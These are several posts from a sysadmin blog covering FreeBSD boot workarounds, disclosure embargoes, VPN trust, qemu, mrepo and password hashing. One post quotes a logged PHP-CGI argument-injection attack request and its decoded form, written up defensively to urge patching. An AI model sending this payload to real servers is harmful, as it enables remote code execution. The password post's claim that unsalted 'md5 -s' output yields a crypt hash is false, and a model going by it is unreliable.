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FreeBSD Bootonly ISO failures PXE booting under UEFI
FreeBSD Bootonly ISO failures PXE booting under UEFI
The image below illustrates an error observed on some hardware platforms that fail to PXE boot FreeBSD’s bootonly ISO under UEFI. The failure occurs in mountroot() and manifests as an error 19 reportedly meaning the media cannot be located. This has been observed with 10.3, 11.1, and 11.2.
mountroot() error 19
One can workaround this problem by deploying a bootonly ISO configured with an MFS_IMAGE. EFI_STAGING_SIZE may need adjusting to accommodate larger objects; It defaults to 64. EFI_STAGING_SIZE can be defined within make.conf, release.conf, or on the command line. While not illustrated below, EFI_STAGING_SIZE is implicitly defined specifying a make.conf that includes the knob in the environment via MAKE_CONF.
MFS_IMAGE is necessary because the project’s bootonly ISO fails to PXE boot at mountroot() w/ error 19 indicating the boot media cannot be located. MFS_IMAGE implies a MD_ROOT root filesystem. The build system doesn’t seem to provide a mechanism to build a default MFS_IMAGE and is therefore done outside the context of a build.
The following procedure builds a binary distribution from the source tree in it’s default form (including the default bootonly.iso). It rebuilds the bootonly.iso after generating a root partition and MDROOT kernel.
# Create CHROOTDIR w/ GENERIC kernel (also builds binary release)
root # cd ~/projects/freebsd
root # git checkout releng/11.2
root # release/release.sh -c release/release.conf
# Create root.part from ${OBJDIR} bootonly
root # cd ${CHROOTDIR}/usr/obj/usr/src/release
root # rm bootonly/boot/kernel/kernel
root # rm bootonly/boot/geom_md.ko
root # echo "/dev/ufs/FreeBSD_Install / ufs rw 0 0" > bootonly/etc/fstab
root # makefs -B little -o label=FreeBSD_Install root.part bootonly/
root # cd .. && mkdir -p sys/MDROOT
root # mv release/root.part sys/MDROOT/
# Build MDROOT kernel
root # cat ${CHROOTDIR}/usr/src/sys/amd64/conf/MDROOT
include GENERIC
ident MDROOT
makeoptions MFS_IMAGE=root.part
root # eval chroot ${CHROOTDIR} env KERNCONF=MDROOT make \
-C /usr/src buildkernel
# Build bootonly ISO w MDROOT kernel
root # mount -t devfs devs ${CHROOTDIR}/dev
root # chflags -R noschg ${CHROOTDIR}/usr/obj/usr/src/release/bootonly && \
rm -rf ${CHROOTDIR}/usr/obj/usr/src/bootonly
root # eval chroot ${CHROOTDIR} env KERNCONF=MDROOT \
NOPKG=1 NOSRC=1 NODOC=1 NOPORTS=1 make -C /usr/src/release bootonly.iso
The Known Costs of Security Embargoes
The Known Costs of Security Embargoes
A security embargo is an agreement between parties, typically a vendor and interested parties. The interested parties are generally individual(s) or organization(s) that discovered a security vulnerability in a vendor product. Security embargoes are not limited to two parties and may include multiple vendors and/or other stakeholders. Parties to an embargo generally agree to withhold disclosure of a security vulnerability until a mutually agreed upon date, which is often a date the vendor will publish patches.
Security embargoes primarily provide vendors time to research and patch vulnerabilities prior to public disclosure and limit the risk a malactor may exploit such a vulnerability before patches are available.
In February 2017, Mitre assigned CVEs to Intel for each of the vulnerabilities we now know as Meltdown and Spectre, CVE-2017-5715, 2017-5723, and 2017-5754. There exists ambiguity in the timeline of events surrounding disclosures. For example, The Guardian indicated Google disclosures were made to Intel in June and July 2017 while The Verge indicated December 2017. What is known as fact, however, is that the public was generally unaware until Google’s announcement on January 3, 2018, almost a week prior to the agreed upon disclosure date of January 9. In fact, Intel’s disclosure of Meltdown-Spectre is coming under increasing scrutiny after The Wall Street Journal on January 28 reported that Intel had made disclosures to Chinese organizations prior to notifying US authorities.
Also known is that Alex Ionescu publicly posted about a Microsoft work-in-progress that is suggestive that Microsoft and some Linux related project(s) were aware of the vulnerabilities in November 2017 and likely before.
Meanwhile, researchers were beginning to investigate — and ultimately exploited — these vulnerabilities disclosing them to Intel over a period of months. It follows that organizations who disclosed their findings to Intel likely became party to a security embargo at that time.
While the timeline is debatable, it’s suggestive that work to mitigate these vulnerabilities was in high gear as early (likely earlier) as September 2017 particularly with Microsoft and some Linux contingent, as alluded to earlier.
Despite the lack of clarity surrounding the disclosures, it is a fact that the FreeBSD project was not aware until late December 2017 while other BSD projects received no advance notice. This should have been disclosed to the BSD operating systems at the same time it was disclosed to Microsoft and Linux. Why? BSD is ubiquitous among many network and systems devices forming a foundation upon which Internet infrastructure is built. The failure to notify these projects has put undue risk on various pieces of the Internet.
When Meltdown-Spectre were finally disclosed, Microsoft and Linux were better prepared to deploy OS patches. After all, they had been working for months on the problem. Conversely, the BSD operating systems had only a week to prepare and are still catching up on patch integrations. Intel has even been ill prepared as they released microcode that was subsequently recalled then followed up with another release recently patching Spectre Variant 2 (CVE-2017-5715) at time of writing. Consequently, organizations likely continue to remain vulnerable.
This brings attention to the problems the community faces as it becomes increasingly obvious security embargoes do not scale to accommodate all possible stakeholders. There are no clear rules beyond an unenforceable agreement to disclose vulnerabilities, which fosters an environment where only some stakeholders are informed of newly discovered vulnerabilities.
In conclusion, there must be continuing discussions about these problems and their potential solutions. Failing to encourage continuing discussions will only maintain the status quo.
Discalimer
I have been a UNIX engineer for more than 20 years. Still, my experience is not generally within the security realm. This post describes a personal interpretation of problems regarding security embargoes particularly surrounding Meltdown-Spectre.
References
[1] https://en.wikipedia.org/wiki/Meltdown_(security_vulnerability)
[2] https://en.wikipedia.org/wiki/Spectre_(security_vulnerability)
[3] https://www.theguardian.com/technology/2018/jan/04/meltdown-spectre-worst-cpu-bugs-ever-found-affect-computers-intel-processors-security-flaw
[4] https://www.wsj.com/articles/intel-warned-chinese-companies-of-chip-flaws-before-u-s-government-1517157430
[5] https://security.googleblog.com/2018/01/todays-cpu-vulnerability-what-you-need.html
[6] https://www.theverge.com/2018/1/11/16878670/meltdown-spectre-disclosure-embargo-google-microsoft-linux
[7] https://twitter.com/aionescu/status/930412525111296000?lang=en
[8] https://thehackernews.com/2018/02/intel-processor-update.html
Internet Privacy: Who Do You Trust?
Who do you trust?
The rollback of the not yet effective USA FCC regulations enacted during the Obama administration poses an interesting dilemma. With the regulations set to take effect in 2017, user’s were/are still subject to whatever unregulated behavior an ISP chooses to exercise. In essence, all internet users are vulnerable to the whims of their ISP. Therefore, the rollback of these regulations does not materially impact Internet user behavior or activity at present.
These FCC regulations would have enabled users to trust that their ISPs, at least to a certain degree, are complying with privacy regulations and keeping much of the data generated by user’s activity private. While this may be an onerous assumption to make, the regulations allay fears of nefarious behavior by ISPs with user’s data.
Coupled with Vault 7 revelations and the FCC regulation rollback, many are concerned about their internet privacy and are clamoring for an answer. Predictably, paid VPN services are being discussed as a means to prevent snooping by user’s ISPs. This is an effective countermeasure achieving that specific goal, but is only a single tool out of many that should be deployed in parallel to minimize one’s exposure.
Deploying VPN services carries with it it’s own set of complications and considerations. Chief among these is trust as one is essentially changing the trust relationship with their ISP in favor of an another entity further along the line, but are prospective VPN services worthy of this? VPN providers have unfettered access to any traffic traversing their network. Additionally, they — and incidentally you — may be subject to laws and regulations of the prevailing authorities/jurisdiction, which may or may not be friendly to the end goal. Even if hosted outside the borders of the US, these services are subject to higher authorities. Can they be trusted? The answer is not clear and concise as it depends largely on the user’s desires.
The next logical leap is to consider self-hosting and operating one’s own VPN endpoint. This removes trust from all providers placing it with the user. The user controls the VPN, its configuration, and operation regardless of the jurisdiction within which it may be deployed. The user can control user registration and records, logging operations and scope, and log retention policies [generally within the constraints of the prevailing jurisdiction].
Even if one chooses to self host a VPN service — particularly within the US — consider the service on which the VPN is deployed may potentially be legally defined as an ISP. After all, they do provide a service on the Internet and can conceivably engage in the same behavior that is feared ISPs such as Verizon or Comcast will engage in. This invalidates the trust relationship with a broader definition of an ISP and/or common carrier. Obviously, the landscape changes with varying jurisdictions, whether US-based or international.
So, who do you trust?
QEMU: Convert non-Sparse Image to qcow/qcow2 Sparse Image
Convert non-Sparse Image to qcow/qcow2 Sparse Image
While this is not always ideal, I’ve found it handy to build qcow/qcow2 images (for use in OpenStack) by converting a vmdk on FreeBSD. Often times, VMWare images are created with thick provisioning meaning that the disk consumed on the hypervisor will equal the disk allocated to the virtual though there may be an overwhelming quantity of contiguous zero bytes. For example, creating a thick provisioned disk for a VM of, say, 20GB will result in approximately 20GB being consumed on the hypervisor’s disk even though, perhaps, only 50% of that is in use. The remaining 50% will be zero’d bytes and, while technically empty, still consuming space.
VMDK’s can be converted to qcow/qcow2 using qemu-img(1) similarly to:
qemu-img convert -f vmdk -O qcow2 freebsd-10.0.0-amd64.vmdk freebsd-10.0.0-amd64.qcow2
Excellent, we now have qcow2 image suitable for use within OpenStack. However, the size of this file is likely to be the same or very similar to the original vmdk. This can be taken a step further to significantly reduce the amount of space the file consumes using a sparse file.
Using the ‘-S’ command line option enables us to ensure the output file becomes sparse, therefore freeing the space it consumed with a series of zero bytes. This option, while it defaults to 4k, accepts an argument* (size) permitting users to specify the quantity of bytes which must be zeros before it can be that portion is made “sparse”.
The resulting command line is very similar to the above, except that it includes ‘-S’ and the argument, for example:
qemu-img convert -f vmdk -O qcow2 -S 4k freebsd-10.0.0-amd64.vmdk freebsd-10.0.0-amd64.qcow2
* NOTE: if installed from FreeBSD Ports, the argument was required despite having a default defined.
Disclaimer
Data and information described on this blog are for informational purposes only. The author of this blog provides no warranty/guarantee, expressed or implied, that this data and information will function as described here. Readers are expected to exercise due diligence when researching, developing, and deploying techniques and methods for use within their environments.
Comments posted are the explicit opinions of the comment poster themselves and does not necessarily reflect the views and opinions of the author of this blog.
Troubleshooting Large, Stalling git/ssh Transfers
Why is git/ssh stalling?
While working with the freebsd-ports repo on github in order to track and combine it with an internal remote repo, it was found to apparently stall during a git push to the internal remote repo. Thinking this was likely a fluke in the network or something, the process was re-executed, but exhibited the same behavior. The OS in this case is FreeBSD 10.0-RELEASE-p6.
Troubleshooting
Identifying the problem started by observing the git process in top which was in a “piperd” wait state. An email thread on freebsd-questions@[1] suggested the process was waiting on a read from a pipe. I only needed to identify the process it was waiting for.
Using lsof, according to the same reference, one could identify the offending process by matching the hex value of the pipe file descriptor to the piped process, in this case ssh. Attaching truss to ssh showed that it had apparently stalled on a getsockopt() operation.
A web search turned up related results[2] (found in References below) which indicated the likely problem was a bug in OpenSSH related to TcpRcvBufPoll. Explicitly disabling this in sshd_config and restarting the service did appear to work around the problem. Upon re-execution of my git push, the process didn’t stall and completed successfully.
Oddly enough, after working around this, I was unable to duplicate the behavior on the same host later. Therefore, there is some doubt that this was indeed the problem, but I post this anyway as it did appear to successfully work around it.
References
[1] FreeBSD Mailing List Archives
[2] stackoverflow post
Disclaimer
Data and information described on this blog are for informational purposes only. The author of this blog provides no warranty/guarantee, expressed or implied, that this data and information will function as described here. Readers are expected to exercise due diligence when researching, developing, and deploying techniques and methods for use within their environments.
Comments posted are the explicit opinions of the comment poster themselves and does not necessarily reflect the views and opinions of the author of this blog.
Enabling mrepo Support for FreeBSD Packages
Enabling mrepo Support for FreeBSD Packages
Enabling preliminary support for FreeBSD packages involves the following procedure. This procedure assumes repos are available via HTTP at the location where content is downloaded from. We also assume a web server is installed and configured to serve mrepo content. Any discussion involving the configuration of these components is beyond the scope of this post.
- Apply the patch below to the mrepo.conf and add some FreeBSD repos
- Update the local mrepo repositories
- Execute `find` symlinking to the updated content
- Setup cronjobs to update repos periodically
Applying The Patch
This patch was generated with GNU patch on RHEL6 and should be applied using GNU patch in the following manner to minimize potential issues. It patches the mrepo script, mrepo.conf, and adds three mrepo repositories. The patch:
diff -u usr/bin/mrepo usr/bin/mrepo.new
--- usr/bin/mrepo 2011-07-01 21:16:09.000000000 -0400
+++ usr/bin/mrepo.new 2013-09-26 12:10:22.072081702 -0400
@@ -214,6 +214,7 @@
self.lftpcleanup = self.getoption('main', 'lftp-cleanup', 'yes') not in disable
self.lftpexcldebug = self.getoption('main', 'lftp-exclude-debug', 'yes') not in disable
self.lftpexclsrpm = self.getoption('main', 'lftp-exclude-srpm', 'yes') not in disable
+ self.lftpincltbz = self.getoption('main', 'lftp-include-tbz', 'yes') not in disable
self.lftpoptions = self.getoption('main', 'lftp-options', '')
self.lftpcommands = self.getoption('main', 'lftp-commands', '')
self.lftpmirroroptions = self.getoption('main', 'lftp-mirror-options', '-c -P')
@@ -1282,6 +1283,8 @@
mirroropts = mirroropts + ' -X \"*.src.rpm\" -X \"/SRPMS/\"'
if cf.lftpexcldebug:
mirroropts = mirroropts + ' -X \"*-debuginfo-*.rpm\" -X \"/debug/\"'
+ if cf.lftpincltbz:
+ mirroropts = mirroropts + ' -I \"*.tbz*\"'
ret = run('%s %s -c \'%s mirror %s %s %s\'' % (cf.cmd['lftp'], opts, cmds, mirroropts, url, path),dryrun=True)
if ret:
diff -ruN etc/mrepo.conf newetc/mrepo.conf
--- etc/mrepo.conf 2013-09-30 10:57:32.036840555 -0400
+++ newetc/mrepo.conf 2013-09-30 09:08:34.960901787 -0400
@@ -1,4 +1,4 @@
-
+### Configuration file for mrepo
### The [main] section allows to override mrepo's default settings
### The mrepo-example.conf gives an overview of all the possible settings
@@ -23,3 +23,5 @@
hardlink = no
shareiso = no
rhnget-download-all = yes
+
+lftp-include-tbz = yes
diff -ruN etc/mrepo.conf.d/FreeBSD-8-x86_64-dev.conf newetc/mrepo.conf.d/FreeBSD-8-x86_64-dev.conf
--- etc/mrepo.conf.d/FreeBSD-8-x86_64-dev.conf 1969-12-31 19:00:00.000000000 -0500
+++ newetc/mrepo.conf.d/FreeBSD-8-x86_64-dev.conf 2013-09-30 10:59:07.834704096 -0400
@@ -0,0 +1,5 @@
+[FreeBSD-8-x86_64-dev]
+name = FreeBSD 8.x Packages - Dev Repo
+release = 8
+metadata = yum repomd
+dev-repo = $url_to_the_development_repo
diff -ruN etc/mrepo.conf.d/FreeBSD-8-x86_64-prod.conf newetc/mrepo.conf.d/FreeBSD-8-x86_64-prod.conf
--- etc/mrepo.conf.d/FreeBSD-8-x86_64-prod.conf 1969-12-31 19:00:00.000000000 -0500
+++ newetc/mrepo.conf.d/FreeBSD-8-x86_64-prod.conf 2013-09-30 10:59:18.794803601 -0400
@@ -0,0 +1,5 @@
+[FreeBSD-8-x86_64-prod]
+name = FreeBSD 8.x Packages - Production Repo
+release = 8
+metadata = yum repomd
+prod-repo = $url_to_the_production_repo
diff -ruN etc/mrepo.conf.d/FreeBSD-8-x86_64-qa.conf newetc/mrepo.conf.d/FreeBSD-8-x86_64-qa.conf
--- etc/mrepo.conf.d/FreeBSD-8-x86_64-qa.conf 1969-12-31 19:00:00.000000000 -0500
+++ newetc/mrepo.conf.d/FreeBSD-8-x86_64-qa.conf 2013-09-30 10:59:28.171888437 -0400
@@ -0,0 +1,5 @@
+[FreeBSD-8-x86_64-qa]
+name = FreeBSD 8.x Packages - QA Repo
+release = 8
+metadata = yum repomd
+qa-repo = $url_to_the_qa_repo
are applied by executing the following respectively for each patch after the patches have been downloaded:
# cd / && patch < mrepo.patch
Note this patch includes variables that should be replaced by URLs where the repos exist. This URL could be the URL to FreeBSD’s binary package repos, but the size of the repo could cause some issues with this process, especially the step below where the symlinks are generated. My use case involves HTTP repos of home grown FreeBSD packages.
This patch can also be modified to enable support for other file types. For example, tgz and txz files which are supported in FreeBSD’s new pkg framework. which will be default in FreeBSD 10.0-RELEASE. Doing so would enable support for FreeBSD 10 ‘pkg’ files to mrepo as well.
Updating The Repositories
mrepo repositories are updated by executing the patched mrepo script as described here:
# mrepo -ug dev-repo # mrepo -ug qa-repo # mrepo -ug prod-repo
These commands update each of the above repos [ included in the patch ] according to srcdir and wwwdir specified in mrepo.conf. Therefore, content downloads to srcdir and wwwdir will be updated in the next step.
Symlink Content
mrepo downloads content from the URLs specified in the mrepo config files located in /etc/mrepo.conf.d/. The FreeBSD-8-x86_64-*.conf repositories in this case. The files are symlinked to from the repo identified by the combination of the value in wwwdir specified in /etc/mrepo.conf and the repo name. This is done by executing the following:
# cd $wwwdir/$repodir && find $srcdir/$repo –type f –name '*tbz' -exec ln –s {} . \;
Where $wwwdir and $srcdir are taken from /etc/mrepo.conf and $repodir is actual directory name of the repo on disk. This step should be executed for each of the repos. Completion of this step means the repos are now available via HTTP.
Configure Cronjobs
It is generally considered a good idea to enable periodic updates of mrepo repos. This can be done in any number of ways, including cronjobs. I choose cronjobs here for simplicity’s sake. Your cronjobs may look similar to the following:
0 0 1 * * mrepo -ug $repo && cd $wwwdir/$repo && find $srcdir/$repo –type f –name ‘*tbz’ -exec ln –s {} . \;
Where $repo is the repo tag specified in it’s config file in /etc/mrepo.conf.d/, $srcdir and $wwwdir are as specified in /etc/mrepo.conf.
Make Content Available Via Cobbler
Some technologists may employ provisioning platforms to distribute OS and package repo contents throughout an environment. I utilize Cobbler in my environments. Therefore, an additional one-time step to create the Cobbler repo is necessary for each repo.
Once the symlinks are created in $wwwdir/$repo, one can add the repo to Cobbler making it available there. This is done by executing:
# cobbler repo add --name="$repo_name" --breed="rsync" --mirror="$wwwdir/$repo"
The new repos will be updated any time a `cobbler reposync` is executed.
Disclaimer
This blog is posted for informational purposes only. Extensive testing is recommended prior to implementing changes discussed here.
Apache/Plesk php Exploit
While reviewing web server logs recently, I spotted the following attack…
216.237.113.27 – – [07/Aug/2013:08:12:14 -0400] “POST
/%70%68%70%70%61%74%68/%70%68%70?%2D%64+%61%6C%6C%6F
%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D
%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+
%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F
%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75
%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E
%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61
%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D
%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E HTTP/1.1”
404 209 “-” “-”
Which decodes to:
/phppath/php?-d allow_url_include=on -d safe_mode=off
-d suhosin.simulation=on -d disable_functions=”” -d
open_basedir=none -d auto_prepend_file=php://input -n
One aspect of a vulnerable deployment includes an Apache configuration utilizing the following ScriptAlias configuration:
ScriptAlias /phppath/ “/usr/bin/”
For those running Plesk or others with the above configuration, it is recommended that your system be patched accordingly. Check the references below for more detailed information regarding this vulnerability.
References
Disclaimer
This blog is posted for informational purposes only. Extensive testing is recommended prior to implementing changes discussed here.
Images are back…
A few weeks ago, the node that hosts hostileadmin.com experienced a catastrophic hardware failure. The hostileadmin blog was affected by this outage in the area of images and downloadable files.
Consequently, I procured virtual hosting services with RootBSD and have moved data from the old node to the VPS service. I am pleased to announce hostileadmin blog images and downloadable files are back!
I apologize for any inconvenience this may have caused.
Upcoming Changes to hostileadmin Blog
hostileadmin.com has experienced a hardware failure in a colocation facility that is geographically difficult to reach in a timely manner. The hostileadmin blog is affected by this outage in the area of images and downloaded files. Thus, blog posts containing images and/or other downloadable files are incomplete.
As a result of this outage, I have procured virtual hosting services with RootBSD and will begin hosting my images and files from this point forward on the new service. At an undetermined point in the future, the data on the failed hardware will be recovered and moved to the RootBSD virtual hosting service.
I have purchased a level of service that affords me the ability to move the majority of my disparate services into a single, more reliable environment. This transition will take place in phases, but will have minimal impact on the blog, which is my most visible area of work at this time.
I apologize for any inconvenience and hope to have services fully restored in the coming weeks.
Encrypting User Password Strings
Encrypting User Password Strings
The Use Case
User account passwords can be set during systems provisioning in multiple ways. Setting a host’s root password is a common use case. During a FreeBSD 8.x install, one can set root’s password (or other user account password) executing the following within the install.cfg:
/bin/sh -c ‘echo passwd |pw mod user username -h 0’
Unfortunately, doing so exposes the user’s account password. Therefore, the recommendation is to use an encrypted hash as follows:
/usr/bin/chpass -p $1$nPUexUs5$O4JuN.Ed/LqWHJKmf8K0h0 root
Encrypting The Password
The use case begs the question: How does one ascertain an encrypted hash given a string?
On FreeBSD, there are varying methods to ascertain an encrypted hash. Here are just two of the many.
openssl
# openssl passwd -1 MySecret
$1$YRth1v3T$MvGupL8n.VBjvM12JhR4G0
openssl(1) returns the entire encrypted hash. The character between the first and second dollar signs identifies the crypt mechanism. The following eight characters are the salt. The remaining characters following the third dollar sign are the encrypted string.
md5
# md5 -s MySecret
MD5 (“MySecret”) = 4132d75e6cb04073cc7756707057027f
md5(1) returns a partial encrypted hash. In the key-value pair, the key is the crypt mechanism. The first 8 characters of the value are the salt. The remaining characters are the encrypted string.
In this method, one must prepend $1$ to the value before feeding it into chpass(1).
Related Documentation
* Chapter 15, Security, of the FreeBSD handbook explains identifying a host’s crypt mechanism.
hostileadmin 